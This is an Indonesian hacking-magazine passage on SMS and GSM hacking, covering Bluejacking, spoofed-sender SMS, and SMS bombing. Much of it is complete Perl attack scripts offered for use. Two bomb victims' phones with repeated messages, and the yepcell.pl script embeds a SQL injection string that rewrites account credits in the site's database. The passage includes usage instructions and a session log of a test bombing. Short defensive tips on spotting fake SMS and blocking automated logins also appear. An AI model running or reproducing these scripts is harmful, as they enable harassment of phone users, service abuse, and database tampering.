berbahaya, tapi dapat menjengkelkan. Bluejacking memanfaatkan fasilitas Send to pada transfer data melalui Bluetooth yang mengizinkan sampai 256 karakter. Jadi, tinggal cari saja ponsel dengan Bluetooth di keramaian sekitar anda, lalu kirim data yang justru diketikkan pada Send to. Si penerima akan terlalu kaget untuk menyadari bahwa ‘pesan’ tadi sebenarnya diketikkan pada Send to. Bluejacker yang ngetop di Inggris sekarang ini, Jelly Ellie, adalah seorang siswa sekolah menengah yang situsnya yang membahas Bluejacking dapat dilihat di http://www.bluejackq.com/

yang cukup untuk mengirimkan SMS, juga akan mengurangi kredit Anda bila SMS telah dipastikan sampai ke tujuan. Beberapa operator GSM menyediakan SMS gratis melalui web. Mengapa bisa gratis? Mereka menggunakan SMSC yang berbeda dengan SMSC komersial (non-billing). IM3 dan INDOSAT menyediakan fasilitas ini, walaupun kemudian www.satelindogsm.com mencabut fasilitas web2smsnya, sementara www.m3-access.com terus berkibar dengan layanan MMS dari web. Pada jenis ponsel tertentu (Nokia semua tipe, beberapa tipe Siemens, Ericsson, dan Motorola), anda dapat menerima Flash message, yaitu SMS yang langsung terlihat isi pesannya tanpa perlu membuka Inbox. Flash SMS ini cocok digunakan untuk pesan-pesan yang mendesak karena langsung ditampilkan di layar ponsel. Flash SMS tetap dapat diterima walaupun memori ponsel sedang penuh, namun Flash SMS itu sendiri tidak bisa disimpan pada memori (hilang setelah kita menutupnya). Pemilihan tipe SMS ditentukan oleh octet DCS D (Data Coding Scheme). Caranya dengan memiu lih unicode 16-bit (ucs2) sebagai DCS, dan pesan diawali dengan octet 0001. Saat ini, umumnya ponsel yang mendukung pengiriman Flash SMS sudah menyediakan menu yang mudah untuk mengirimkan Flash SMS. SMS gratis dari IM3 pun sudah menyediakan fasilitas Flash SMS.

Vol. IV No. 08 NeoTek

17

NeoStart

Mengirim SMS Fake Sender
Bung Ftp_Geo (FG@yahoo.com) kini masuk ke sisi gelap SMS, yaitu SMS Fake Sender yang menjadi sarana yang paling populer untuk melakukan penipuan maupun fitnah. Namanya juga SMS Kaleng, sama seperti surat kaleng ataupun email kaleng, perlu diwaspadai.
SMS BERISI IMING-IMING bahwa saya telah memenangkan undian atau hadiah tertentu. Untuk mengambil 'hadiah' tersebut, saya diharuskan membayar pajak undian, atau membayar fee tertentu, atau membayarnya dengan mengirimkan voucher pulsa, atau alasan lain agar saya menyerahkan barang berharga pada pihak-pihak tertentu.

S M S DAN G S M HAC K I N G

S

ERINGKALI SAYA MENERIMA

Salah satunya adalah www.phunkyphones.net yang menyediakan layanan pengiriman SMS dengan modifikasi OA melalui layanan web mereka. Beberapa waktu yang lalu, situs ini masih menggunakan ASP yang vulnerable sehingga memungkinkan pengguna untuk menambah sendiri pulsa mereka. (String provided by 1ST).

SMS penipuan itu sangat terlihat tidak masuk akal. Karena pengirimnya bukanlah nomor-nomor operator seperti TELKOMSEL, PRO-XL, INDOSAT, 555, 777, atau nomornomor khusus lainnya. Nomor pengirim jelas-jelas terlihat adalah nomor ponsel GSM biasa, yang mudah didapat di outlet-outlet ponsel. Biasanya nomor yang dipakai untuk menipu adalah nomor pra-bayar yang dapat dibuang jika dirasa sudah tidak menghasilkan. Hal ini sangat menjengkelkan saya, sehingga memacu saya untuk mencari tahu, bagaimana cara terbaik (menurut saya) untuk membalas penipuan itu. Sebenarnya, bagaimana cara operator mengirimkan nomor atau nama cantik tersebut ke HP kita? Nomor pengirim O tersebut sebenarnya tersimpan pada octet OA (Originator Address) pada MT (Mobile Terminated). Octet OA tidak M hanya dapat memuat angka, namun juga string/teks. Octet OA ini, hanya muncul pada MT yang dikirimkan dari SMSC ke ponsel tujuan, sehingga tidak ada cara untuk mengubah nomor pengirim dari ponsel pengirim. Artinya, untuk membuat SMS Fake Sender (SMS dengan nomor pengirim palsu), Anda membutuhkan sebuah SMSC yang bisa memodifikasi octet OA ini. Contoh lain adalah http://sms.bigfoot.com yang menggunakan software khusus untuk melakukan modifikasi sender name.

Operator yang Diperlukan
Di Indonesia sendiri, setahu saya, tidak ada operator yang menyediakan SMSC untuk modifikasi OA. Karena itu, saya melirik SMSC luar negeri yang menyediakan fasilitas modifikasi OA untuk membuat nomor pengirim palsu.
SCA PDU-Type OA PID DCS SCTS UDL UD

Letak modifikasi fake sender (Originator Address)

Walaupun nomor pengirim adalah nomor spesial seperti TELKOMSEL, PRO-XL, INDOSAT, biasanya pihak operator juga akan mengumumkannya di media cetak nasional atau melalui media lain. Ada baiknya untuk menyimpan nomor telepon resmi operator jaringan anda. 18

Aplikasi yang cukup sulit digunakan adalah SMSXtender dari www.simeda.com karena membutuhkan handphone atau PDA yang dilengkapi dengan Java.

NeoTek Vol. IV No. 08

NeoStart
Untuk sender-nya saya menyesuaikan dengan operator jaringan masing-masing (pada contoh di atas saya menggunakan sender TELKOMSEL).

Mengenali SMS Fake Sender atau Bukan
Pengetahuan mengenai SMS fake sender ini bagaikan pisau bermata dua. Bisa saja setelah membaca tulisan ini, seseorang memanfaatkannya untuk tujuan penipuan. Karena itu kita juga harus mempelajari bagaimana membedakan sender SMS nomor spesial yang asli dengan sender SMS nomor spesial yang palsu. Tanda-tanda Anda menerima SMS Fake Sender adalah: 1. Service Center Time Stamp (SCTS), lihat waktu pengirimannya. Jika waktu pengirimannya berbeda jauh dengan jam local di daerah Anda (WIB, WITA, atau WIT), maka SMS tersebut dapat dicurigai sebagai SMS Fake Sender. 2. Isinya tidak masuk akal, seperti meminta transfer uang, pulsa, dan semacamnya. Sementara aplikasi buatan anak negeri tersedia juga di www.kioss.com/kioss yaitu SMS Alert. 3. Konfirmasikan dengan pihak-pihak yang bersangkutan, dan JANGAN SEKALI-SEKALI menghubungi nomor telepon yang terdapat dalam SMS. Carilah nomor telepon resmi kantor operator jaringan Anda dari buku telepon atau 108. 4. Penipuan tidak hanya mengatasnamakan operator jaringan, namun bisa juga atas nama pihak lain seperti bank (misal: Gebyar BCA, Tahapan+, dll), toko (Gramedia), asuransi (PRULink) atau pihak-pihak yang sedang mengadakan undian berhadiah lainnya. Kejahatan akan selalu berkembang dan selalu memanfaatkan kesempatan yang ada, karena itu Bang Napi selalu berpesan, Waspadalah! Referensi
1. 2. 3. 4. 5. www.dreamfabric.com/sms www.forumponsel.com #forumponsel DALnet www.kioss.com/kioss Terima kasih kepada Luri Darmawan atas diskusi mengenai AT commands pada Siemens. Budi Sutedjo, Yosia Handoko. Database Pendidikan Berbasis Ponsel. Penerbit ANDI, Yogyakarta:2003. Ir. Bustam Khang. Trik Pemrograman Aplikasi Berbasis SMS. Elexmedia Komputindo, Jakarta:2002. Ferry Gunawan. Membuat Aplikasi SMS Gateway Server & Client Dengan Java & PHP. Elexmedia Komutindo, Jakarta:2003. www.simeda.com www.phunkyphones.net www.smscountry.com www.bigfoot.com www.clickatell.com www.textmine.co.uk www.world-text.com www.yepcell.com 1ndonesia Security Team 1ST (http://bosen.net/releases) atas kesempatan yang diberikan kepada saya untuk menggunakan fasilitas SMS di berbagai situs.

Mengapa Berbahaya?
SMS Fake Sender ini sangat berbahaya, karena dapat digunakan untuk: 1. Penipuan. Seperti dengan mengatasnamakan operator jaringan GSM, atau nama bank tertentu yang sedang melakukan undian berhadiah (Gebyar BCA, dll). 2. Memanipulasi Polling. Jika satu nomor ponsel hanya dapat melakukan polling satu kali, dengan SMS Fake Sender dapat memilih berulang-ulang. Misalnya dengan membuat sender 0810000001, 0810000002, 0810000003, dst. 3. Fitnah. Bisa saja saingan bisnis Anda mengirimkan SMS berisi pembatalan kontrak kepada rekan bisnis Anda. Dengan SMS fake sender ini, saya membalas SMS-SMS penipuan yang masuk ke ponsel saya (atau rekan-rekan saya) dengan pesan: Nomor Anda dilaporkan telah melakukan penipuan. Pihak TELKOMSEL bekerjasama dengan Kepolisian akan menyelidiki masalah ini. Untuk sementara aktivitas telepon dan SMS Anda kami pantau.
6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16.

Vol. IV No. 08 NeoTek

19

NeoStart

Jebol dengan SMS Bombing
Sisi gelap lain dari SMS yang dibahas Bung Ftp_Geo (FG@yahoo.com) adalah SMS Bombing, yaitu mengirimkan SMS yang sama sebanyak-banyaknya ke ponsel korban menggunakan account SMS serta suatu Perl script untuk mengotomatisasinya.
menyediakan fasilitas SMS gratis ke seluruh dunia melalui web. Mungkin salah satu penyebab down dan ditutupnya situs tersebut adalah dirilisnya skrip ini di dunia underground. Skrip ini memanfaatkan fasilitas SMS gratis yang disediakan oleh Happy Texting (www.happytexting.com). Happy Texting sendiri adalah operator jaringan telepon selular di India yang sedang melakukan promosi. Sama seperti dahulu IM3 di Indonesia yang melakukan promosi MMS gratis.

S M S DAN G S M HAC K I N G

B

EBERAPA WAKTU LALU SITUS WWW.HAPPYTEXTING.COM

Skrip sakjebole.pl
Skrip sakjebole.pl (sakjebole dalam bahasa Jawa artinya: dihajar sampai jebol). Berikut ini skrip selengkapnya: (nomor baris tidak termasuk bagian dari skrip)
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: #!/usr/bin/perl -w # sakjebole.pl versi 2 SMS Bomber pake happytexting # by mas Geo #-----------------EDIT-KONFIGURASI-DI-SINI!!---------------------------= $proxy = 'http://proxy.intra.djpkpd.go.id:3128/'; $username = '62815blablabla'; $password = 'passwordmu'; $pesan = 'Happy Bombing!!'; #-------------------------------------------------------------------------= use LWP::UserAgent; use HTTP::Cookies; use Getopt::Std; getopts('t:b:d:v'); our($opt_t, $opt_b, $opt_d, $opt_v); $ua = LWP::UserAgent->new;$ua->agent("IE/6.0 Windows"); $ua->cookie_jar(HTTP::Cookies->new(file => "SMS-Bomberz-cookies.txt", autosave => 1)); if(defined($proxy)){$ua->proxy(http => $proxy);} else {$ua->env_proxy;} if(defined($opt_b)){$bom=$opt_b;}else{$bom=10;} if(defined($opt_d)){$delay=$opt_d;}else{$delay=20;} if($0 !~ 'sakjebole.pl'){print "Skrip ini harus diberi nama sakjebole.pl\n";exit;} if(!$opt_t){print "Baca kode sebagai manual\nKalo blom bisa baca kode, belum berhak menggunakan skrip ini\n";exit;} $req = HTTP::Request->new(GET => 'http://www.happytexting.com/login/login.jsp?txt_mobilenum='.$username.' &txt_password='.$password); $req->header('Accept' => 'text/html'); $res = $ua->request($req); my $cek = $res->as_string; if ($res->is_success && $cek =~ /Sign Out/) {print "Login OK\n";}else {die "Error: Gagal Login\nMungkin salah password atau happytexting sedang down\n" . $res->status_line . "\n";} $korban = $opt_t; $try=1; print "Kirim SMS ke $korban sebanyak $bom kali.\n"; print "Happy Bombing!!\n"; for($i=1;$i<=$bom;$i++){ if($opt_v){print "\nKirim SMS #$try ......";}

34: $send_sms = HTTP::Request->new(POST => 'http://www.happytexting.com/login/send_sms.jsp'); 35: $send_sms->content_type('application/x-www-form-urlencoded'); 36: $isisms = $0.' sends you: '.$pesan.' '.$username; 37: $message = 'txt_touser='. $korban.'&txt_username='.$username.'&txt_fromuser='.$0.'&message='.$isis ms.'&sizebox=0&MM_insert=form1'; 38: $send_sms->content($message); 39: my $response_send_sms = $ua->request($send_sms); 40: my $cek = $response_send_sms->as_string; 50: sleep($delay); 51: if($opt_v){print "......OK!\n";$try++; 52: } 53: } 54: #--EOF--

24: 25: 26: 27:

28: 29: 30: 31: 32: 33:

Secara sederhana cara kerja script ini dapat diikhtisarkan sebagai berikut: • Baris pertama sampai 22 mengatur konfigurasi skrip, khususnya username dan password yang akan dipakai untuk login ke Happy Texting (www.happytexting.com) dan proxy. Biasanya proxy hanya diperlukan jika Anda menggunakan komputer dibalik NAT. Jika anda tidak menggunakan proxy, cukup beri tanda pagar pada awal baris 5. • Baris 23 s.d. 27 mensimulasikan bahwa seseorang sedang melakukan login ke Happy Texting. • Baris 28 - akhir mensimulasikan seseorang sedang mengirimkan SMS (melalui browser) kepada $korban, sebanyak $bom kali. Variabel $delay diperlukan untuk mendapatkan reliabilitas pengiriman yang cukup baik. Jika $delay diset nol, menurut pengalaman, SMS yang terkirim justru tidak sebanyak $bom. Delay yang cukup baik adalah 10 detik. Salah satu alasan mengapa saya melepas skrip ini untuk umum adalah Happy Texting (www.happytexting.com) sendiri sudah mengalami kelebihan pengunjung. Sampaisampai kerap kali situs tersebut tidak dapat dikunjungi (down). Dan lagi, fasilitas SMS gratis ini tentu tidak bertahan selamanya. Pasti suatu saat akan dihentikan. Jika anda jeli membaca skrip sakjebole.pl, tentu akan melihat bahwa saya tidak mencantumkan cara penggunaan (usage) seperti yang umum terdapat pada skrip-skrip lain. Hal ini saya lakukan atas dasar pertimbangan bahwa efek gangguan yang dapat ditimbulkan skrip ini cukup besar. Ide Read The Code for Manual/Help saya dapat dari 1ST (1ndonesia Security Team), dan memang cocok diterapkan untuk skrip yang satu ini (karena efek disturbing-nya cukup lumayan). Namun pada kesempatan kali ini, saya akan menunjukkan cara membaca skrip SMS Bombing sakjebole.pl untuk mengetahui cara penggunaannya, dengan pertimbangan seperti yang saya ungkapkan di atas (tidak ada yang gratis untuk selamanya).

20

NeoTek Vol. IV No. 08

NeoStart
Penggunaan SMS Bomber sakjebole.pl
Di sini saya akan mencontohkan cara membaca manual dari kode. Hal pertama yang perlu diperhatikan untuk dapat menggunakan sakjebole.pl adalah adanya Getopt dan fungsi getopts. Pada baris ke-14, terlihat getopts('t:b:d:v');. Perhatikan bahwa fungsi getopts akan membaca argumen baris perintah, dan memasukkan nilainya ke variabel $opt_*. Di sini terlihat bahwa sakjebole.pl menggunakan empat option baris perintah yaitu -t -b -d dan -v. Pilihan -t, -b dan -d memerlukan argumen. Argumen tersebut masing-masing akan disimpan pada variabel $opt_t, $opt_b, dan $opt_d. Sementara option -v tidak memerlukan argumen, hanya boolean saja, dan digunakan untuk mengaktifkan sesuatu (nanti kita cari yang dimaksud sesuatu itu). Pertama yang kita cari adalah kegunaan variabel $opt_t. Di baris ke-22 terlihat bahwa jika $opt_t tidak didefinisikan maka program akan dibatalkan. Berarti option -t ini sangat penting bagi keseluruhan program. Pada baris ke-28 terlihat bahwa isi variabel $opt_t akan disimpan ke dalam variabel $korban, sedangkan di baris ke-30 terlihat bahwa variabel $korban adalah target SMS bombing. Dengan demikian, cara penggunaan paling sederhana dari skrip ini adalah:
C:> perl sakjebole.pl -t 62815blablabla

Solusi Bagi Korban
Salah satu pengalaman menarik yang saya dapatkan ketika menggunakan skrip ini adalah adanya teknik untuk mengatasi bom SMS. Cara pertama yang cukup mudah adalah: mematikan HP. Happytexting bukanlah SMS sender yang reliable, sifatnya malah seperti paket UDP yang non-reliable, artinya Happy Texting tidak memperdulikan apakah SMS yang dikirimkan berhasil sampai atau tidak. Yang penting, dia sudah berusaha mengirimkannya. Cara kedua yang lebih elite adalah memasang blocking pada perangkat telepon seluler Anda. Silahkan hubungi Bosen (mobile@bosen.net) untuk detil selengkapnya. Berikut log session dalam usaha mengirimkan SMS bomb,. namun tidak berhasil karena adanya blocker:
Session Start: Fri Feb 13 14:39:54 2004 Session Ident: Bosen <ftp_geo> C:\Documents and Settings\HERU\My Documents\Beta\projects>perl sakjebole.pl <ftp_geo> Login OK <ftp_geo> Kirim SMS ke 6281-EDITED- sebanyak 5 kali. <ftp_geo> HP elu boss? <Bosen> buat apaan <Bosen> iya <Bosen> hp gue <ftp_geo> sorry boss <Bosen> np <Bosen> ada block nya di hp <ftp_geo> itu juga test doang <Bosen> ya * Logging Bosen to 'logs\Bosen.log' Session Close: Fri Feb 13 16:41:36 2004

Lalu apa gunanya option -b, -d dan -v? Lihatlah pada baris ke-19 dan 20. Di situ terlihat bahwa jika $opt_b dan $opt_d tidak diberikan, maka akan digunakan jumlah default, yaitu 10 untuk variabel $bom dan 20 untuk variabel $delay. d Penggunaan variabel $bom sendiri terlihat di baris ke-32 yaitu banyaknya perulangan. Sementara variabel $delay diapakai di baris ke-50 sebagai delay antar looping. Option -v terlihat muncul 2 kali, yaitu pada baris 33 dan 51. Jika -v diikutsertakan, maka status pengiriman request akan terlihat. Option -v dimaksudkan sebagai modus verbose. Jadi cara penggunaan skrip sakjebole.pl selengkapnya adalah sebagai berikut:
[geogeek@localhost geogeek]$ perl sakjebole.pl -t 62815blablabla -b 10 -d 5 -v

Yepcell SMS Bombing plus Fasilitas Pengisian Pulsa
Situs www.yepcell.com menyediakan berbagai fasilitas untuk telepon seluler Anda. Mulai dari ringtones, picture, screen saver, SMS quotes, SMS funny, bahkan anda dapat membuat sendiri logo untuk ponsel Anda. Yepcell tidak lupa memberikan fasilitas pengiriman SMS. Bahkan dengan string yang disediakan rekan-rekan dari 1ST (1ndonesia Security Team, http://bosen.net/releases ), kita dapat mengisi ulang pulsa yang telah habis.

Solusi Bagi Webmaster
Untuk menghindari automasi login melalui skrip seperti ini, tambahkan keycode yang berubah setiap membuka browser. Contoh keycode yang cukup baik adalah seperti yang dipaw kai pada fasilitas SMS di situs IM3 (www.m3-access.com), AnuneAnu (www.anuneanu.com), dan Blog Pupet w h (http://blog.pupet.com). Alasan pemasangan keycode pada situs IM3 juga saya kira untuk menghindari skrip otomatis seperti sakjebole ini (login sendiri, kirim SMS sendiri, logout sendiri). Atau cara lain yang cukup mudah untuk mengurangi risiko login automatis, yaitu menggunakan flash untuk form login dan form pengiriman SMS. Mengapa flash? Karena flash tidak dapat dilihat source HTML-nya. Skrip sakjebole.pl sendiri ditulis murni dari mengintip kode HTML di Happy Texting.

Vol. IV No. 08 NeoTek

21

NeoStart
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49: 50: 51: 52: 53: #!/usr/bin/perl -w # .:: PRIVATE!! FOR LEET ONLY ::. # yepcell.pl SMS Bomber # by mas Geo #-EDIT-KONFIGURASI-DI-SINI!! $proxy = 'http://proxy.intra.djpkpd.go.id:3128/'; #buat login ke yepcell.com $username = 'usernamemu'; $password = 'passwordmu'; $pesan = 'Test SMS Bomber!! 20 SMS saja. Lumayan pegel kan ngapusnya..'; #---------------------------------------------------------------------------use LWP::UserAgent; use HTTP::Cookies; use Getopt::Std; getopts('t:b:d:v'); our($opt_t, $opt_b, $opt_d, $opt_v); $ua = LWP::UserAgent->new; $ua->agent("IE/6.0 Windows"); $ua->cookie_jar(HTTP::Cookies->new(file => "SMS-Bomberz-cookies.txt", autosave => 1)); if($0 !~ 'yepcell.pl'){print "Skrip ini harus diberi nama yepcell.pl\n";exit;} if(!$opt_t){print "Baca kode sebagai manual\nKalo blom bisa baca kode, belum berhak menggunakan skrip ini\n";exit;}else{$korban = $opt_t;} if(defined($opt_b)){$bom = $opt_b;}else{$bom = 10;} if(defined($opt_d)){$delay = $opt_d;}else{$delay = 10;} if(defined($proxy)){$ua->proxy(http => $proxy);} else {$ua->env_proxy;} #login $login = HTTP::Request->new(POST => 'http://www.yepcell.com/members.asp'); $login->content_type('application/x-www-form-urlencoded'); $loginsend = 'UserID='. $username.'&Password='.$password; $login->content($loginsend); my $loginresponse = $ua->request($login); my $cek = $loginresponse->as_string; if ($loginresponse->is_success && $cek =~ /LogOut/) {print "Login OK\n";} else {die "Error: Gagal Login\nMungkin salah password atau yecell sedang down\n" . $loginresponse->status_line . "\n";} #send sms $try=1; print "Kirim SMS ke $korban sebanyak $bom kali.\n"; print "Happy Bombing!!\n\n"; for($i=1;$i<=$bom;$i++){ if($opt_v){print "Kirim SMS #$try .....";} $send_sms = HTTP::Request->new(POST => 'http://www.yepcell.com/xt_sendsms.asp?vt=Normal'); $send_sms->content_type('application/x-www-form-urlencoded'); $sms = $0.' sends you: '.$pesan; $sms =~ s/ /%20/g; $message = 'MobileNo='.$korban.'&message='.$sms.'&remLen=0&ID= '; $send_sms->content($message); my $response_send_sms = $ua->request($send_sms); my $cek = $response_send_sms->as_string; #cek pulsa if($cek =~ /Account Balance: 0 Credits/){ #isi pulsa my $isipulsa = HTTP::Request->new(POST => 'http://www.yepcell.com/members.asp'); $isipulsa->content_type('application/x-www-form-urlencoded'); $isipulsasend = 'UserID=%27update%20YepCell_MembersDB%20set%20credits=100%20w here%20userid%20=%27'.$username.'%27--&Password=abcdefgh'; #'update YepCell_MembersDB set credits=100 where userid ='dodol'-$isipulsa->content($isipulsasend); my $isipulsaresponse = $ua->request($isipulsa); } sleep($delay);if($opt_v){print "..... OK!\n";} $try++; } #--EOF-

Skrip Kirim SMS email2sms.pl
Situs Russia http://email2sms.ru menyediakan juga fasilitas SMS gratis, walaupun tidak se-reliable Happy Texting. Namun yang menjadi tantangan dalam membuat skrip otomasinya adalah, adanya variabel dalam form yang selalu berubah, yaitu time dan sig (singkatan dari signature). Jangan khawatir, dengan PERL dan LWP mari kita buat skrip yang bisa membaca variable dari form HTML-nya. Berikut ini kode selengkapnya (nomor baris tidak termasuk bagian dari program):
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49: 50: 51: 52: 53: 54: 55: 56: 57: 58: 59: 60: 61: 62: 63: 64: 65: 66: 67: 68: 69: 70: 71: #!/usr/bin/perl -w # email2sms.pl # by mas Geo #-----------------EDIT-KONFIGURASI-DI-SINI!!------------------------= #$proxy = 'http://proxy.intra.djpkpd.go.id:3128/'; $pesan = 'No day without new skripz.. =)'; #-----------------------------------------------------------------------= use LWP::UserAgent; use HTTP::Cookies; use HTTP::Status; use HTTP::Response; use Getopt::Std; getopts('t:'); our($opt_t); $ua = LWP::UserAgent->new; $ua->agent("MSIE/6.0 Windows"); $ua->cookie_jar(HTTP::Cookies->new(file => "cookies.txt", autosave => 1)); #memeriksa konfigurasi dan options if(defined($proxy)){ $ua->proxy(http => $proxy); } else { $ua->env_proxy; } if(defined($opt_b)){ $bom=$opt_b; } else { $bom=10; } if(defined($opt_d)){ $delay=$opt_d; } else { $delay=20; } if($0 !~ 'email2sms.pl'){ print "Skrip ini harus diberi nama email2sms.pl\n"; exit; } if(!$opt_t){ print "Baca kode sebagai manual\nKalo blom bisa baca kode, belum berhak menggunakan skrip ini\n"; exit; } print "Membaca konfigurasi hari ini:\n"; $index = HTTP::Request->new(GET => 'http:// email2sms.ru'); #'http://email2sms.ru/'); $index->header('Accept' => 'text/html'); $ua->cookie_jar->add_cookie_header($index); $indexresponse = $ua->request($index); my $indexcek = $indexresponse->as_string; $indexcek =~ m/time value\=\"\d+\"/; $time = substr($&, 12, 10); $indexcek =~ m/sig value\=\"\w+\"/; $sig = substr($&, 11, 32); print "Variable time: $time\n"; print "Variable sig: $sig\n"; $tujuan = $opt_t; #send sms print "\nKirim SMS ke $tujuan ......";

54: 55: 56: 57: 58: 59: 60: 61:

$send_sms = HTTP::Request->new(POST=>'http://email2sms.ru/sms.php'); $send_sms->content_type('application/x-www-form-urlencoded'); $isisms = $0.' sends you: '.$pesan; $message = 'time='.$time.'sig='.$sig.'&iphone='.$tujuan.'&text='.$isisms.' &len=0&rus=0'; 72: $send_sms->content($message);my $response_send_sms = $ua>request($send_sms); 73: my $cek = $response_send_sms->as_string; 74: if($response_send_sms->is_success){

22

NeoTek Vol. IV No. 08

NeoStart
75: 76: 77: 78: 79: 80: 81: print "......OK!\n"; } else { print "......Gagal!\n"; } print "Isi Pesan: $pesan\n"; #--EOF--

Mengapa Perl?
1. 2. Lintas Platform Perl dapat dijalankan di mesin-mesin Unix dan semacam Unix (POSIX compliant), DOS, Windows 9x, NT, dan XP, OS/2, dan MacIntosh. Intrepreter Tidak membutuhkan compiler. Menurut pengalaman saya, bahasa-bahasa pemrograman yang sifatnya compiler, sifat portabilitasnya kurang (khususnya antara Windows dengan Linux) karena terkadang compiler yang digunakan tidak kompatibel. bahkan gcc antara Linux dan FreeBSD saja berbeda. Sifat intrepreter pada Perl, memudahkan untuk menjalankannya di mesin apapun. Scripting Language Mudah dibaca. source code tersedia untuk umum, memudahkan bagi para newbie untuk belajar dari skrip milik orang lain. Mudah juga untuk debugging, karena error message akan menunjukkan baris skrip yang mengandung kesalahan. Regex (regular expression) yang kuat. Kemampuan Perl sangat menonjol pada manipulasi teks. Kelebihan ini kemudian diadopsi oleh PHP. Dapat digunakan sebagai CGI. CGI sendiri dapat ditulis dengan berbagai bahasa. Saking kerapnya pemakaian Perl untuk CGI, orang-orang sering mengartikan CGI sebagai Perl. Perl bahkan menyediakan modul CGI.pm untuk mempermudah penulisan CGI. Dukungan modul yang cukup lengkap. CPAN (Combined Perl Archive Network) menyediakan dukungan modul Perl yang sangat luas, beragam, dan bermanfaat. Mendukung akses command prompt/shell. Bahkan ada beberapa program Perl yang khusus dijalankan pada mesin tertentu saja, misalnya n-post.pl buatan ech0 dari nios (http://x25.cc) yang memanfaatkan piping dari skrip Perl ke utilitas sendmail -t. Hampir default Hampir pada semua shell yang pernah saya kunjungi, Perl selalu tersedia. Berbeda dengan gcc atau cc, yang terkadang tidak disertakan oleh admin server karena alasan keamanan. Fokus Penulisan Program Dengan pendekatan text-mode dan interpreter, saya lebih fokus pada logika pemrograman daripada memikirkan bentuk tampilan dan semacamnya. Cocok untuk newbie seperti saya.

Pada skrip kita kali ini, saya sengaja tidak membuat loop untuk bombing. Skrip ini dapat digunakan untuk mengirim SMS biasa saja (satuan). Belajar dari pengalaman terdahulu, situs SMS gratis yang saya buat skrip bombing nya pasti berujung pada downnya situs tersebut (contoh: Happy Texting), sehingga saya mencoba membuat skrip yang lebih awet penggunaannya. Jika anda ngotot ingin membuat loop untuk skrip bombing, silahkan modifikasi sendiri skrip ini. Yang ingin saya ingatkan: pada saat looping, variabel sig dan time pada halaman http://email2sms.ru/sms.php sudah berubah. Selain itu, email2sms.ru juga hanya bersedia mengirimkan 15 SMS per hari untuk tiap IP Address. Jangan coba-coba menggunakan public proxy, email2sms.ru akan menolaknya. Hehehe... yang gratis memang susah.

3.

4. 5.

6. 7.

8.

9.

Menggunakan HTTP Proxy

C:\> set HTTP_PROXY_USER = myusername C:\> set HTTP_PROXY_PASS = mypassword

H

ampir pada semua contoh skrip yang saya kemukakan, selalu ada variabel $proxy. Sebenarnya bagaimana cara penggunaan variabel ini?

Untuk menyimpan efek ini selamanya, simpan perintah set ini pada AUTOEXEC.BAT.
C:\> echo "set HTTP_PROXY=http://192.168.100:3/" >> AUTOEXEC.BAT

HTTP Proxy biasanya digunakan oleh pengguna komputer N jaringan lokal (LAN) yang berada di balik NAT (Network Address Translation). Jadi setidaknya ada dua tipe koneksi internet, koneksi langsung (direct connection) dan koneksi melalui proxy. Bagi Anda yang memiliki koneksi langsung ke internet, seperti pada dial-up atau linux shell, biasanya tidak memerlukan HTTP Proxy. Dalam kasus ini berarti variabel $proxy dapat dihilangkan saja, baik dengan menghapusnya maupun dengan # memberi tanda sharp (#) di depan baris $proxy sehingga baris ini menjadi komentar yang tidak akan dijalankan saaat eksekusi skrip. Namun pada koneksi tidak langsung, seperti pada LAN, ada dua kemungkinan kondisi penggunaan variabel $proxy. Kondisi pertama adalah belum ada konfigurasi global apapun yang mengatur http proxy. Pada kondisi ini nilai http proxy perlu diisi dengan nilai yang sesuai. Cara pemberian nilai pada variabel ini pun ada tiga cara. Cara yang paling mudah adalah dengan menuliskan pada badan skrip. Kebanyakan pada contoh skrip yang saya bawakan, variabel $proxy saya isi dengan http://192.168.100.3:3128/ karena memang IP dan port itulah proxy server pada jaringan saya. Sesuaikan nilai tersebut dengan proxy server pada jaringan anda. Cara pemberian nilai yang kedua adalah dengan menetapkan variabel http proxy pada variabel environment anda. Contoh pada Windows/DOS Prompt:
C:\>set HTTP_PROXY=http://192.168.100:3/

Kondisi kedua penggunaan http proxy pada LAN adalah adanya setting transparent proxy, yang semua HTTP Request di port 80 langsung dialihkan oleh router ke proxy server yang tersedia. Pada kondisi ini, perilaku http proxy menjadi sama dengan kondisi koneksi langsung. Sehingga tidak perlu mendefiniskan variabel http proxy, baik di dalam skrip maupun di environment variabel.
Kondisi Koneksi langsung LAN, proxy server Cara Pemberian Nilai HTTP Proxy Tidak perlu • Pada badan skrip $proxy = 'http://ip:port'; • Pada variabel environtment set http_proxy=http://ip:port/

LAN, transparent proxy Tidak perlu

Ada sedikit tips bagi pengguna shell. Pada kondisi normal, biasanya shell linux menggunakan koneksi langsung ke internet. Namun pada beberapa kasus ada juga shell linux yang berada di balik NAT. Carilah nilai http proxy yang digunakan pada shell linux tersebut dengan melihat file-file konfigurasi seperti /etc/lynx.cfg atau ~/.wgetrc.
[geogeek@lab geogeek]$ cat /etc/lynx.cfg | grep http_proxy http_proxy:http://192.168.25.3:3128/

Periksa keberhasilan pengisian variabel dengan perintah:
C:\>echo %HTTP_PROXY% http://192.168.100:3/

Tips lain adalah jika proxy yang Anda gunakan menggunakan username/password, maka simpan semua setting proxy di environtment variabel, yaitu
HTTP_PROXY, HTTP_PROXY_USER, dan HTTP_PROXY_PASS

Jika akses proxy server membutuhkan username dan password, dapat disimpan dengan perintah:

u Dalam skrip LWP gunakan $ua->env_proxy; untuk mengambil semua nilai dari environment variables

Vol. IV No. 08 NeoTek

23

NeoStart

Mengenal SMS Center
Untuk melengkapi bahasan SMS dan GSM Hacking kali ini, Eko Febriyanto (eko.f@indosatm3.com) membahas SMS Center yang merupakan fasilitas penting untuk mengoperasikan pengiriman SMS secara ‘normal’ maupun ‘abnormal.’
